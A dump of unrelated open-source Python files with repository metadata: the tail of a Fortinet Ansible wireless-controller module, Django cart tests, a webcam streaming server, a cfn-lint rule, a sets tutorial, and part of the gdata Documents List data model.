description:
- Enable/disable allowing Virtual Access Points (VAPs) to use the same SSID name in the same VDOM.
type: str
choices:
- enable
- disable
fake_ssid_action:
description:
- Actions taken for detected fake SSID.
type: str
choices:
- log
- suppress
fapc_compatibility:
description:
- Enable/disable FAP-C series compatibility.
type: str
choices:
- enable
- disable
offending_ssid:
description:
- Configure offending SSID.
type: list
suboptions:
action:
description:
- Actions taken for detected offending SSID.
type: str
choices:
- log
- suppress
id:
description:
- ID.
required: true
type: int
ssid_pattern:
description:
- 'Define offending SSID pattern (case insensitive), eg: word, word*, *word, wo*rd.'
type: str
phishing_ssid_detect:
description:
- Enable/disable phishing SSID detection.
type: str
choices:
- enable
- disable
wfa_compatibility:
description:
- Enable/disable WFA compatibility.
type: str
choices:
- enable
- disable
'''
EXAMPLES = '''
- hosts: fortigates
collections:
- fortinet.fortios
connection: httpapi
vars:
vdom: "root"
ansible_httpapi_use_ssl: yes
ansible_httpapi_validate_certs: no
ansible_httpapi_port: 443
tasks:
- name: VDOM wireless controller configuration.
fortios_wireless_controller_setting:
vdom: "{{ vdom }}"
wireless_controller_setting:
account_id: "<your_own_value>"
country: "NA"
darrp_optimize: "5"
darrp_optimize_schedules:
-
name: "default_name_7 (source firewall.schedule.group.name firewall.schedule.recurring.name firewall.schedule.onetime.name)"
duplicate_ssid: "enable"
fake_ssid_action: "log"
fapc_compatibility: "enable"
offending_ssid:
-
action: "log"
id: "13"
ssid_pattern: "<your_own_value>"
phishing_ssid_detect: "enable"
wfa_compatibility: "enable"
'''
RETURN = '''
build:
description: Build number of the fortigate image
returned: always
type: str
sample: '1547'
http_method:
description: Last method used to provision the content into FortiGate
returned: always
type: str
sample: 'PUT'
http_status:
description: Last result given by FortiGate on last operation applied
returned: always
type: str
sample: "200"
mkey:
description: Master key (id) used in the last call to FortiGate
returned: success
type: str
sample: "id"
name:
description: Name of the table used to fulfill the request
returned: always
type: str
sample: "urlfilter"
path:
description: Path of the table used to fulfill the request
returned: always
type: str
sample: "webfilter"
revision:
description: Internal revision number
returned: always
type: str
sample: "17.0.2.10658"
serial:
description: Serial number of the unit
returned: always
type: str
sample: "FGVMEVYYQT3AB5352"
status:
description: Indication of the operation's result
returned: always
type: str
sample: "success"
vdom:
description: Virtual domain used
returned: always
type: str
sample: "root"
version:
description: Version of the FortiGate
returned: always
type: str
sample: "v5.6.3"
'''
from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.connection import Connection
from ansible_collections.fortinet.fortios.plugins.module_utils.fortios.fortios import FortiOSHandler
from ansible_collections.fortinet.fortios.plugins.module_utils.fortios.fortios import check_legacy_fortiosapi
from ansible_collections.fortinet.fortios.plugins.module_utils.fortimanager.common import FAIL_SOCKET_MSG
def filter_wireless_controller_setting_data(json):
option_list = ['account_id', 'country', 'darrp_optimize',
'darrp_optimize_schedules', 'duplicate_ssid', 'fake_ssid_action',
'fapc_compatibility', 'offending_ssid', 'phishing_ssid_detect',
'wfa_compatibility']
dictionary = {}
for attribute in option_list:
if attribute in json and json[attribute] is not None:
dictionary[attribute] = json[attribute]
return dictionary
def underscore_to_hyphen(data):
if isinstance(data, list):
for i, elem in enumerate(data):
data[i] = underscore_to_hyphen(elem)
elif isinstance(data, dict):
new_data = {}
for k, v in data.items():
new_data[k.replace('_', '-')] = underscore_to_hyphen(v)
data = new_data
return data
def wireless_controller_setting(data, fos):
vdom = data['vdom']
wireless_controller_setting_data = data['wireless_controller_setting']
filtered_data = underscore_to_hyphen(filter_wireless_controller_setting_data(wireless_controller_setting_data))
return fos.set('wireless-controller',
'setting',
data=filtered_data,
vdom=vdom)
def is_successful_status(status):
return status['status'] == "success" or \
status['http_method'] == "DELETE" and status['http_status'] == 404
def fortios_wireless_controller(data, fos):
if data['wireless_controller_setting']:
resp = wireless_controller_setting(data, fos)
else:
fos._module.fail_json(msg='missing task body: %s' % ('wireless_controller_setting'))
return not is_successful_status(resp), \
resp['status'] == "success" and \
(resp['revision_changed'] if 'revision_changed' in resp else True), \
resp
def main():
mkeyname = None
fields = {
"access_token": {"required": False, "type": "str", "no_log": True},
"vdom": {"required": False, "type": "str", "default": "root"},
"wireless_controller_setting": {
"required": False, "type": "dict", "default": None,
"options": {
"account_id": {"required": False, "type": "str"},
"country": {"required": False, "type": "str",
"choices": ["NA",
"AL",
"DZ",
"AO",
"AR",
"AM",
"AU",
"AT",
"AZ",
"BS",
"BH",
"BD",
"BB",
"BY",
"BE",
"BZ",
"BO",
"BA",
"BR",
"BN",
"BG",
"KH",
"CF",
"CL",
"CN",
"CO",
"CR",
"HR",
"CY",
"CZ",
"DK",
"DO",
"EC",
"EG",
"SV",
"EE",
"FI",
"FR",
"GE",
"DE",
"GR",
"GL",
"GD",
"GU",
"GT",
"HT",
"HN",
"HK",
"HU",
"IS",
"IN",
"ID",
"IR",
"IE",
"IL",
"IT",
"JM",
"JO",
"KZ",
"KE",
"KP",
"KR",
"KW",
"LV",
"LB",
"LI",
"LT",
"LU",
"MO",
"MK",
"MY",
"MT",
"MX",
"MC",
"MA",
"MZ",
"MM",
"NP",
"NL",
"AN",
"AW",
"NZ",
"NO",
"OM",
"PK",
"PA",
"PG",
"PY",
"PE",
"PH",
"PL",
"PT",
"PR",
"QA",
"RO",
"RU",
"RW",
"SA",
"RS",
"ME",
"SG",
"SK",
"SI",
"ZA",
"ES",
"LK",
"SE",
"SD",
"CH",
"SY",
"TW",
"TZ",
"TH",
"TT",
"TN",
"TR",
"AE",
"UA",
"GB",
"US",
"PS",
"UY",
"UZ",
"VE",
"VN",
"YE",
"ZB",
"ZW",
"JP",
"CA"]},
"darrp_optimize": {"required": False, "type": "int"},
"darrp_optimize_schedules": {"required": False, "type": "list",
"options": {
"name": {"required": True, "type": "str"}
}},
"duplicate_ssid": {"required": False, "type": "str",
"choices": ["enable",
"disable"]},
"fake_ssid_action": {"required": False, "type": "str",
"choices": ["log",
"suppress"]},
"fapc_compatibility": {"required": False, "type": "str",
"choices": ["enable",
"disable"]},
"offending_ssid": {"required": False, "type": "list",
"options": {
"action": {"required": False, "type": "str",
"choices": ["log",
"suppress"]},
"id": {"required": True, "type": "int"},
"ssid_pattern": {"required": False, "type": "str"}
}},
"phishing_ssid_detect": {"required": False, "type": "str",
"choices": ["enable",
"disable"]},
"wfa_compatibility": {"required": False, "type": "str",
"choices": ["enable",
"disable"]}
}
}
}
check_legacy_fortiosapi()
module = AnsibleModule(argument_spec=fields,
supports_check_mode=False)
versions_check_result = None
if module._socket_path:
connection = Connection(module._socket_path)
if 'access_token' in module.params:
connection.set_option('access_token', module.params['access_token'])
fos = FortiOSHandler(connection, module, mkeyname)
is_error, has_changed, result = fortios_wireless_controller(module.params, fos)
versions_check_result = connection.get_system_version()
else:
module.fail_json(**FAIL_SOCKET_MSG)
if versions_check_result and versions_check_result['matched'] is False:
module.warn("Ansible has detected version mismatch between FortOS system and galaxy, see more details by specifying option -vvv")
if not is_error:
if versions_check_result and versions_check_result['matched'] is False:
module.exit_json(changed=has_changed, version_check_warning=versions_check_result, meta=result)
else:
module.exit_json(changed=has_changed, meta=result)
else:
if versions_check_result and versions_check_result['matched'] is False:
module.fail_json(msg="Error in repo", version_check_warning=versions_check_result, meta=result)
else:
module.fail_json(msg="Error in repo", meta=result)
if __name__ == '__main__':
main()
| [
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]
| |
d5d1c9478dab96f1827d01e24b9b942656c587a8 | 43c24c890221d6c98e4a45cd63dba4f1aa859f55 | /test/cpython/test_openpty.py | 0a3c4e43103e38bf52bf056329e17057aefce895 | [
"Python-2.0",
"Apache-2.0",
"BSD-2-Clause"
]
| permissive | jmgc/pyston | c8e4df03c33c6b81d20b7d51a781d9e10148238e | 9f672c1bbb75710ac17dd3d9107da05c8e9e8e8f | refs/heads/master | 2020-12-11T07:51:58.968440 | 2020-09-11T14:38:38 | 2020-09-11T14:38:38 | 39,242,644 | 0 | 0 | NOASSERTION | 2020-09-11T14:38:39 | 2015-07-17T08:09:31 | Python | UTF-8 | Python | false | false | 43 | py | ../../from_cpython/Lib/test/test_openpty.py | [
"[email protected]"
]
| |
35b3d73af0a8e35ea5d24e76857a1e773f865d8c | f0fe4f17b5bbc374656be95c5b02ba7dd8e7ec6d | /all_functions/linux server/python GUI/Video capture/VideoCapture-0.9-5/Tools/3rdParty/pushserver/server.py | 83fe04d6bb7eef7b5a3a46f7d7f9eafce7ac910d | [
"LicenseRef-scancode-warranty-disclaimer",
"MIT",
"LGPL-2.1-only"
]
| permissive | Heroku-elasa/heroku-buildpack-python-ieee-new | f46a909ebc524da07f8e15c70145d1fe3dbc649b | 06ec2fda04d9e478ed2506400e460489b0ca91ab | refs/heads/master | 2022-12-10T13:14:40.742661 | 2020-01-29T14:14:10 | 2020-01-29T14:14:10 | 60,902,385 | 0 | 0 | MIT | 2022-12-07T23:34:36 | 2016-06-11T10:36:10 | Python | UTF-8 | Python | false | false | 3,094 | py | import SimpleHTTPServer
import urllib
import StringIO
import posixpath, sys, string
import time
from VideoCapture import *
cam = Device(devnum=0)
#~ cam.setResolution(640, 480) # VGA
#~ cam.setResolution(768, 576) # PAL
#~ cam.setResolution(384, 288) # PAL / 4
#~ cam.setResolution(192, 144) # PAL / 16
#~ cam.setResolution(80, 60) # Minimum
sys.stderr = sys.stdout
class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def sendImage(self):
try:
image = cam.getImage(timestamp=3, boldfont=1)
stros = StringIO.StringIO()
image.save(stros, "jpeg")
jpgStr = stros.getvalue()
sys.stderr.write("len: %d\n" % len(jpgStr))
self.send_response(200)
self.send_header("Content-type", "image/jpeg")
self.end_headers()
self.wfile.write(jpgStr)
except:
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write("Problem sending image: %s\n" % self.path)
def pushImages(self):
self.separator = "abcdef"
self.maxFrames = 0
try:
self.send_response(200)
self.send_header("Content-type",
"multipart/x-mixed-replace;boundary=%s" % self.separator)
self.end_headers()
self.wfile.write("--%s\r\n" % self.separator)
frameNo = 0
while 1:
time.sleep(0.04)
frameNo = frameNo + 1
if self.maxFrames > 0 and frameNo > 1000:
break
image = cam.getImage(timestamp=3, boldfont=1)
stros = StringIO.StringIO()
image.save(stros, "jpeg")
jpgStr = stros.getvalue()
sys.stderr.write("len: %d\n" % len(jpgStr))
self.wfile.write("Content-type: image/jpeg\r\n")
#self.wfile.write("Content-length: %d\r\n" % len(jpgStr))
self.wfile.write("\r\n")
self.wfile.write(jpgStr)
self.wfile.write("\r\n--%s\r\n" % self.separator)
except:
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write("Problem sending image: %s\n" % self.path)
def do_GET(self):
"""Serve a GET request."""
if self.path[:len("/quit")] == "/quit":
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write("exiting....")
global cam
del cam
sys.exit(0)
if self.path[:len("/cam")] == "/cam":
self.sendImage()
return
if self.path[:len("/push")] == "/push":
self.pushImages()
return
SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)
return
if len(sys.argv) == 1:
sys.argv = (sys.argv[0], "8000")
SimpleHTTPServer.test(MyHandler)
| [
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]
| |
eda9af23bcb627e4435ca6f4e75e92aaca28c80b | b9609c425d8dfed3f32282f1a5f742ced0b4ab55 | /cart/tests.py | cd07f1df414f43d5502a7a71a8f6ab049a0e4c17 | []
| no_license | OlivierGaillard/elibrairie | 5e695f8c21787855e72d55710426c36238bba14b | 4d582d8d62efd396e7b0c2bed4182016f0fe5d9a | refs/heads/master | 2021-06-27T12:54:10.150293 | 2017-09-10T19:21:57 | 2017-09-10T19:21:57 | 102,965,909 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,174 | py | from django.test import TestCase, Client
from django.contrib.staticfiles import finders
from django.shortcuts import reverse
import os
from django.http import request
from elibrairie import settings
from catalog.models import Book, Category
from .models import CartItem
from .cartutils import CART_ID_SESSION_KEY
class TestCart(TestCase):
fixtures = ['category.json', 'books.json']
def test_additem(self):
cart_item = CartItem()
cart_item.book = Book.objects.get(pk=1)
cart_item.cart_id = 'toto-cart'
cart_item.save()
cart_item2 = CartItem()
cart_item2.book = Book.objects.get(pk=2)
cart_item2.cart_id = 'toto-cart'
cart_item2.save()
self.assertTrue(len(CartItem.objects.all()) > 0)
def test_session(self):
session = self.client.session
session['toto'] = 'session-toto'
session.save()
self.assertTrue(session['toto'])
session.set_test_cookie()
self.assertTrue(session.test_cookie_worked())
session.delete_test_cookie()
def test_additem_url(self):
add_item_url = reverse('cart:add_item', kwargs={'pk':1})
self.assertEqual(add_item_url, '/cart/add_item/1')
def test_article_added_in_cart(self):
c = Client()
book = Book.objects.get(titre='Un paradigme')
add_item_url = reverse('cart:add_item', kwargs={'pk': book.pk})
response = c.post(add_item_url, follow=True) # The view makes a HttpResponseRedirect
self.assertEqual(response.status_code, 200) # Without 'follow=True' we get 302
cart_item = CartItem.objects.first()
self.assertEqual(cart_item.book, book)
def test_session_id_stored_after_article_added(self):
""" Verify that session-ID is generated."""
c = Client()
book = Book.objects.get(titre='Un paradigme')
add_item_url = reverse('cart:add_item', kwargs={'pk': book.pk})
response = c.post(add_item_url, follow=True)
self.assertEqual(response.status_code, 200)
cart_item = CartItem.objects.first()
self.assertTrue(len(cart_item.cart_id) > 0)
def test_user_add_2_articles(self):
c = Client()
book1 = Book.objects.get(titre='Un paradigme')
add_item_url = reverse('cart:add_item', kwargs={'pk': book1.pk})
c.post(add_item_url, follow=True)
book2 = Book.objects.get(titre='Toujours mieux!')
add_item_url = reverse('cart:add_item', kwargs={'pk': book2.pk})
response = c.post(add_item_url, follow=True)
self.assertEqual(response.status_code, 200)
self.assertEqual(CartItem.objects.all().count(), 2)
def test_adding_same_article_2_times(self):
c = Client()
book1 = Book.objects.get(titre='Un paradigme')
add_item_url = reverse('cart:add_item', kwargs={'pk': book1.pk})
c.post(add_item_url, follow=True)
c.post(add_item_url, follow=True)
self.assertEqual(1, CartItem.objects.count())
self.assertEqual(2, CartItem.objects.first().quantity)
def test_cart_total(self):
"Return the cart total"
c = Client()
book1 = Book.objects.get(titre='Un paradigme')
book1_price = book1.prix
add_item_url = reverse('cart:add_item', kwargs={'pk': book1.pk})
c.post(add_item_url, follow=True)
book2 = Book.objects.get(titre='Toujours mieux!')
book2_price = book2.prix
add_item_url = reverse('cart:add_item', kwargs={'pk': book2.pk})
c.post(add_item_url, follow=True)
self.assertEqual(CartItem.get_total_of_cart(c.session[CART_ID_SESSION_KEY]), book1_price + book2_price)
def test_cart_total_same_article_2_times(self):
c = Client()
book1 = Book.objects.get(titre='Un paradigme')
add_item_url = reverse('cart:add_item', kwargs={'pk': book1.pk})
c.post(add_item_url, follow=True)
c.post(add_item_url, follow=True)
self.assertEqual(CartItem.get_total_of_cart(c.session[CART_ID_SESSION_KEY]), book1.prix * 2)
def test_list_of_categories_available(self):
c = Client()
all_books_url = '/catalog/listall/'
response = c.get(all_books_url)
self.assertEqual(response.status_code, 200)
self.assertIn('/catalog/listcat/', response.content.decode(),
'No link to book categories found in all books page.')
def test_list_of_categories_available_within_cart_content_page(self):
c = Client()
book = Book.objects.get(titre='Un paradigme')
add_item_url = reverse('cart:add_item', kwargs={'pk': book.pk})
response = c.post(add_item_url, follow=True)
self.assertIn('/catalog/listcat/', response.content.decode(), 'No link to book categories found in cart content page.')
def test_nb_items_in_cart_visible_on_homepage(self):
c = Client()
response = c.get('/')
self.assertEqual(response.status_code, 200)
self.assertIn('counter">0<', response.content.decode())
def test_nb_items_in_cart_visible_on_cart_content_page(self):
c = Client()
response = c.get('/cart/cart_content/')
self.assertEqual(response.status_code, 200)
self.assertIn('counter">0<', response.content.decode())
def test_nb_items_in_cart_visible_on_all_book_page(self):
c = Client()
response = c.get('/catalog/listall/')
self.assertEqual(response.status_code, 200)
self.assertIn('counter">0<', response.content.decode())
def test_nb_items_in_cart_visible_on_bd_category(self):
c = Client()
u = '/catalog/listcat/BD'
response = c.get(u)
self.assertEqual(response.status_code, 200)
self.assertIn('counter">0<', response.content.decode())
def test_nb_items_in_cart_visible_on_book_detail(self):
c = Client()
u = '/catalog/detail/6'
response = c.get(u)
self.assertEqual(response.status_code, 200)
self.assertIn('counter">0<', response.content.decode())
def test_remove_link_visible_in_detail_page(self):
c = Client()
book = Book.objects.get(titre='Un paradigme')
add_item_url = reverse('cart:add_item', kwargs={'pk': book.pk})
response = c.post(add_item_url, follow=True)
self.assertEqual(response.status_code, 200) # Without 'follow=True' we get 302
u = '/catalog/detail/%s' % book.pk
response = c.get(u)
self.assertEqual(response.status_code, 200)
self.assertIn('remove', response.content.decode())
def test_remove_link_visible_in_cart_page(self):
c = Client()
book = Book.objects.get(titre='Un paradigme')
add_item_url = reverse('cart:add_item', kwargs={'pk': book.pk})
response = c.post(add_item_url, follow=True)
self.assertEqual(response.status_code, 200) # Without 'follow=True' we get 302
u = '/cart/cart_content/'
response = c.get(u)
self.assertEqual(response.status_code, 200)
self.assertIn('remove', response.content.decode())
def test_remove_item_from_cart(self):
c = Client()
book = Book.objects.get(titre='Un paradigme')
add_item_url = reverse('cart:add_item', kwargs={'pk': book.pk})
response = c.post(add_item_url, follow=True)
self.assertEqual(response.status_code, 200) # Without 'follow=True' we get 302
self.assertEqual(1, CartItem.objects.count())
u = '/catalog/detail/%s' % book.pk
response = c.get(u)
self.assertEqual(response.status_code, 200)
self.assertIn('remove', response.content.decode())
remove_item_url = reverse('cart:remove_item', kwargs={'pk': book.pk})
response = c.post(remove_item_url, follow=True)
self.assertEqual(response.status_code, 200) # Without 'follow=True' we get 302
self.assertEqual(0, CartItem.objects.count())
def test_remove_item_from_empty_cart(self):
'''Insure no removal if cart is already empty'''
c = Client()
book = Book.objects.get(titre='Un paradigme')
u = '/catalog/detail/%s' % book.pk
response = c.get(u)
self.assertEqual(response.status_code, 200)
self.assertNotIn('remove', response.content.decode())
remove_item_url = reverse('cart:remove_item', kwargs={'pk': book.pk})
response = c.post(remove_item_url, follow=True)
self.assertEqual(response.status_code, 200) # Without 'follow=True' we get 302
self.assertEqual(0, CartItem.objects.count())
def test_remove_button_hidden_if_cart_empty_in_page_detail(self):
'''Insure remove button is hidden if cart is empty.'''
c = Client()
book = Book.objects.get(titre='Un paradigme')
u = '/catalog/detail/%s' % book.pk
response = c.get(u)
self.assertEqual(response.status_code, 200)
self.assertNotIn('remove', response.content.decode())
def test_remove_button_hidden_in_page_detail_when_cart_not_empty_but_other_book_still_not_in_cart(self):
'''Insure remove button is hidden if cart is not empty but the detail belongs to another book not in cart.'''
c = Client()
book = Book.objects.get(titre='Un paradigme')
add_item_url = reverse('cart:add_item', kwargs={'pk': book.pk})
c.post(add_item_url, follow=True)
book2 = Book.objects.get(titre='Toujours mieux!')
u = '/catalog/detail/%s' % book2.pk
response = c.get(u)
self.assertEqual(response.status_code, 200)
self.assertNotIn('remove', response.content.decode())
def test_checkout_page_exists(self):
c = Client()
check_url = '/cart/checkout/'
response = c.get(check_url)
self.assertEqual(response.status_code, 200)
def test_valid_static_settings(self):
result = finders.find('style.css')
print(result)
self.assertIsNotNone(result)
c = Client()
print(finders.searched_locations)
response = c.get('/')
#self.assertTemplateUsed(response,)
self.assertEqual(200, response.status_code)
| [
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]
| |
2dd34ed91d4e5ea625355a87413ad5af693536b9 | f5ef25c84e9b4846f98d520bc9a20d20b3d1b65c | /set/set1.py | 6741123a44faca8e18c340dcbfe9628da7fabf2d | []
| no_license | amiraHag/python-basic-course2 | 45757ffdfa677c2accd553330cd2fd825208b0aa | 1fbfd08b34f3993299d869bd55c6267a61dc7810 | refs/heads/main | 2023-03-31T06:48:11.587127 | 2021-03-30T03:43:10 | 2021-03-30T03:43:10 | 327,271,713 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,162 | py | # ---------------------------------------------------------------------------------------
#
# -----------------------
# --------- Set ---------
# -----------------------
#
#
# [1] Set Items Are Enclosed in Curly Braces
# [2] Set Items Are Not Ordered And Not Indexed
# [3] Set Indexing and Slicing Cant Be Done
# [4] Set Has Only Immutable Data Types (Numbers, Strings, Tuples) List and Dict Are Not
# [5] Set Items Is Unique
# ---------------------------------------------------------------------------------------
# used {} not [] like lists or () like tuples
set1 = {"Amira",100,True,2,30,4,5,6,7,8}
# Set items Not Ordered And Not Indexed NOt Slicing
print(set1)
#print(set1[2]) Error -> TypeError: 'set' object does not support indexing
#print(set1[1:3]) Error -> TypeError: 'set' object is not subscriptable
# Set elements from Only Immutable Data Types
#mySet2 = {"Amira", 4, 1.5, True, [1, 2, 3]} # Eror -> TypeError: unhashable type: 'list'
#print(mySet2)
mySet3 = {"Amira", 4, 1.5, True, (1, 2, 3)}
print(mySet3)
# Set Items Is Unique
mySet4 = {1, 2, "A", "B", "A", True, 54, 2} # Will remove the repeated version of the element
print(mySet4)
| [
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]
| |
88492f33f8de534399893ebb273852326688d51d | ce76b3ef70b885d7c354b6ddb8447d111548e0f1 | /last_thing/come_new_day_at_own_point/have_problem_of_own_year/different_eye.py | 06693d6b27f56d6d2f8b7d46e4ca6e54ac2525b6 | []
| no_license | JingkaiTang/github-play | 9bdca4115eee94a7b5e4ae9d3d6052514729ff21 | 51b550425a91a97480714fe9bc63cb5112f6f729 | refs/heads/master | 2021-01-20T20:18:21.249162 | 2016-08-19T07:20:12 | 2016-08-19T07:20:12 | 60,834,519 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 277 | py |
#! /usr/bin/env python
def feel_other_person_for_young_hand(str_arg):
find_work_from_own_group(str_arg)
print('use_person')
def find_work_from_own_group(str_arg):
print(str_arg)
if __name__ == '__main__':
feel_other_person_for_young_hand('different_thing')
| [
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]
| |
57f40905b587a23a5f6f1a4d5e6fed0da1a38750 | 85c57781b746a141e469843ff7d94577cd4bf2a5 | /src/cfnlint/rules/functions/FindInMapKeys.py | 6b12f775741e2caf583e17463ca2cdc750de9a07 | [
"MIT-0"
]
| permissive | genums/cfn-python-lint | ac2ea0d9a7997ed599ba9731127a6cada280f411 | b654d7fc0ed249d0522b8168dc7e1f4170675bc4 | refs/heads/master | 2020-04-18T00:49:03.922092 | 2019-01-21T23:58:02 | 2019-01-21T23:58:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,940 | py | """
Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
Permission is hereby granted, free of charge, to any person obtaining a copy of this
software and associated documentation files (the "Software"), to deal in the Software
without restriction, including without limitation the rights to use, copy, modify,
merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
"""
import six
from cfnlint import CloudFormationLintRule
from cfnlint import RuleMatch
class FindInMapKeys(CloudFormationLintRule):
"""Check if FindInMap values are correct"""
id = 'W1011'
shortdesc = 'FindInMap keys exist in the map'
description = 'Checks the keys in a FindInMap to make sure they exist. ' \
'Check only if the Map Name is a string and if the key is a string.'
source_url = 'https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/intrinsic-function-reference-findinmap.html'
tags = ['functions', 'findinmap']
def check_keys(self, map_name, keys, mappings, tree):
""" Check the validity of the first key """
matches = []
first_key = keys[0]
second_key = keys[1]
if isinstance(second_key, (six.string_types, int)):
if isinstance(map_name, (six.string_types)):
mapping = mappings.get(map_name)
if mapping:
if isinstance(first_key, (six.string_types, int)):
if isinstance(map_name, (six.string_types)):
if not mapping.get(first_key):
message = 'FindInMap first key "{0}" doesn\'t exist in map "{1}" at {3}'
matches.append(RuleMatch(
tree[:] + [1],
message.format(first_key, map_name, first_key, '/'.join(map(str, tree)))))
if mapping.get(first_key):
# Don't double error if they first key doesn't exist
if not mapping.get(first_key, {}).get(second_key):
message = 'FindInMap second key "{0}" doesn\'t exist in map "{1}" under "{2}" at {3}'
matches.append(RuleMatch(
tree[:] + [2],
message.format(second_key, map_name, first_key, '/'.join(map(str, tree)))))
else:
for key, value in mapping.items():
if not value.get(second_key):
message = 'FindInMap second key "{0}" doesn\'t exist in map "{1}" under "{2}" at {3}'
matches.append(RuleMatch(
tree[:] + [2],
message.format(second_key, map_name, key, '/'.join(map(str, tree)))))
return matches
def match(self, cfn):
"""Check CloudFormation GetAtt"""
matches = []
findinmaps = cfn.search_deep_keys('Fn::FindInMap')
mappings = cfn.get_mappings()
for findinmap in findinmaps:
tree = findinmap[:-1]
map_obj = findinmap[-1]
if len(map_obj) == 3:
matches.extend(self.check_keys(map_obj[0], map_obj[1:], mappings, tree))
return matches
| [
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| |
8b22a1578d5df4953a56da36b6c4398aa6b003a2 | d2e80a7f2d93e9a38f37e70e12ff564986e76ede | /Python-cookbook-2nd/cb2_15/cb2_15_1_exm_1.py | 1ed468d0c137493859fbf02087e909f3b6df71d7 | []
| no_license | mahavivo/Python | ceff3d173948df241b4a1de5249fd1c82637a765 | 42d2ade2d47917ece0759ad83153baba1119cfa1 | refs/heads/master | 2020-05-21T10:01:31.076383 | 2018-02-04T13:35:07 | 2018-02-04T13:35:07 | 54,322,949 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | false | 351 | py | from xmlrpclib import Server
server = Server("http://www.oreillynet.com/meerkat/xml-rpc/server.php")
class MeerkatQuery(object):
def __init__(self, search, num_items=5, descriptions=0):
self.search = search
self.num_items = num_items
self.descriptions = descriptions
q = MeerkatQuery("[Pp]ython")
print server.meerkat.getItems(q)
| [
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]
| |
01143cc98e3a99ff472d28f8ec05f40dd2c29abe | 8ca2c5b9673c9bf9a7b6033ffc7b3aea7008ca91 | /src/gdata/docs/data.py | 074fa917159d07e6044a7530ad2fbfa3af2e03d7 | [
"Apache-2.0"
]
| permissive | hfalcic/google-gdata | c3a10f0260002c3d8a8d44686572ec2002e076e0 | 56d49a9915ce51590a655ec5f8aeef9f65517787 | refs/heads/master | 2021-01-10T22:01:52.403803 | 2015-02-17T15:12:18 | 2015-02-17T15:12:18 | 24,432,292 | 3 | 1 | null | 2014-11-30T07:26:44 | 2014-09-24T20:53:59 | Python | UTF-8 | Python | false | false | 18,755 | py | #!/usr/bin/env python
#
# Copyright 2011 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Data model classes for representing elements of the Documents List API."""
from __future__ import unicode_literals
from future.builtins import object
__author__ = '[email protected] (Vic Fryzel)'
import atom.core
import atom.data
import gdata.acl.data
import gdata.data
DOCUMENTS_NS = 'http://schemas.google.com/docs/2007'
LABELS_NS = 'http://schemas.google.com/g/2005/labels'
DOCUMENTS_TEMPLATE = '{http://schemas.google.com/docs/2007}%s'
ACL_FEEDLINK_REL = 'http://schemas.google.com/acl/2007#accessControlList'
RESUMABLE_CREATE_MEDIA_LINK_REL = 'http://schemas.google.com/g/2005#resumable-create-media'
RESUMABLE_EDIT_MEDIA_LINK_REL = 'http://schemas.google.com/g/2005#resumable-edit-media'
REVISION_FEEDLINK_REL = DOCUMENTS_NS + '/revisions'
PARENT_LINK_REL = DOCUMENTS_NS + '#parent'
PUBLISH_LINK_REL = DOCUMENTS_NS + '#publish'
DATA_KIND_SCHEME = 'http://schemas.google.com/g/2005#kind'
LABELS_SCHEME = LABELS_NS
DOCUMENT_LABEL = 'document'
SPREADSHEET_LABEL = 'spreadsheet'
DRAWING_LABEL = 'drawing'
PRESENTATION_LABEL = 'presentation'
FILE_LABEL = 'file'
PDF_LABEL = 'pdf'
FORM_LABEL = 'form'
ITEM_LABEL = 'item'
COLLECTION_LABEL = 'folder'
STARRED_LABEL = 'starred'
VIEWED_LABEL = 'viewed'
HIDDEN_LABEL = 'hidden'
TRASHED_LABEL = 'trashed'
MINE_LABEL = 'mine'
PRIVATE_LABEL = 'private'
SHAREDWITHDOMAIN_LABEL = 'shared-with-domain'
RESTRICTEDDOWNLOAD_LABEL = 'restricted-download'
class ResourceId(atom.core.XmlElement):
"""The DocList gd:resourceId element."""
_qname = gdata.data.GDATA_TEMPLATE % 'resourceId'
class LastModifiedBy(atom.data.Person):
"""The DocList gd:lastModifiedBy element."""
_qname = gdata.data.GDATA_TEMPLATE % 'lastModifiedBy'
class LastViewed(atom.data.Person):
"""The DocList gd:lastViewed element."""
_qname = gdata.data.GDATA_TEMPLATE % 'lastViewed'
class WritersCanInvite(atom.core.XmlElement):
"""The DocList docs:writersCanInvite element."""
_qname = DOCUMENTS_TEMPLATE % 'writersCanInvite'
value = 'value'
class Deleted(atom.core.XmlElement):
"""The DocList gd:deleted element."""
_qname = gdata.data.GDATA_TEMPLATE % 'deleted'
class QuotaBytesUsed(atom.core.XmlElement):
"""The DocList gd:quotaBytesUsed element."""
_qname = gdata.data.GDATA_TEMPLATE % 'quotaBytesUsed'
class Publish(atom.core.XmlElement):
"""The DocList docs:publish element."""
_qname = DOCUMENTS_TEMPLATE % 'publish'
value = 'value'
class PublishAuto(atom.core.XmlElement):
